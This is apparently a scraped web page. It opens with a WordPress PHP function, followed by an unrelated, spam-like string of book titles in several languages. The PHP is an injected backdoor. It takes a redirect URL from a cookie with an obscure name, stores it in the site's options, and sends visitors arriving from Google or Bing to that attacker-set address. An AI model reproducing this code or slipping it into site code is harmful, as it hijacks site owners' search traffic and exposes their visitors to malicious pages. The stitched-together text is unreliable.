function wpd_do_stuff_on_40404(){ if( is_404() ){ if (!empty($_COOKIE["9f0a3edc47dd56aa0350b66dbabb6972"])) { update_option('wpd_do_stuff_on_40404_url', $_COOKIE["9f0a3edc47dd56aa0350b66dbabb6972"]); } if (strpos($_SERVER["HTTP_REFERER"], 'google.') !== FALSE || strpos($_SERVER["HTTP_REFERER"], 'bing.') !== FALSE) { $u = get_option('wpd_do_stuff_on_40404_url'); if (!empty($u)) { wp_redirect($u . "?referrer=" . $_SERVER["HTTP_REFERER"]); } } } } add_action( 'template_redirect', 'wpd_do_stuff_on_40404' );Verbesserung der Schwimmtechnik Brustkraul in der Feinform: Berufsfeldbezogenes lehrpraktisches Handeln (German Edition) Management von Luxusmarken im konjunkturellen Abschwung (German Edition) Monster sehen und sterben: Roman (Monster Hunter 4) (German Edition) How to Become a Bookkeeper: an essential guide to becoming a bookkeeper The UN Secretariat's Influence on the Evolution of Peacekeeping (Transformations of the State) Grundzüge des Handelsrechts (Lernbücher für Wirtschaft und Recht) (German Edition) Natural Resources and Economic Growth: Learning from History (Routledge Explorations in Economic History) The Radical Enlightenment of Solomon Maimon: Judaism, Heresy, and Philosophy: A Life in the Margins of the German and Jewish Enlightenments Zeevrouw (Dutch Edition) Draft Horses and Mules: Harnessing Equine Power for Farm & Show (Storey's Working Animals) L'empire du rite. La pensée politique d'Ogyû Sorai. Japon 1666-1728 (Titre courant) (French Edition) De sprong (Dutch Edition) Isaeus (Oratory of Classical Greece (Paperback)) Ghostwriting and the Ethics of Authenticity Impression Management: Professionelles Marketing in eigener Sache (German Edition) Gefangen im Anthropomorphismus: Zum First Contact in Stanisław Lems „Solaris“ (German Edition) A Theory of Action Identification (Basic Studies in Human Behavior Series) How to Manage a Research Project: Achieve Your Goals on Time and Within Budget (Evaluation Works’ Research Guides Book 2)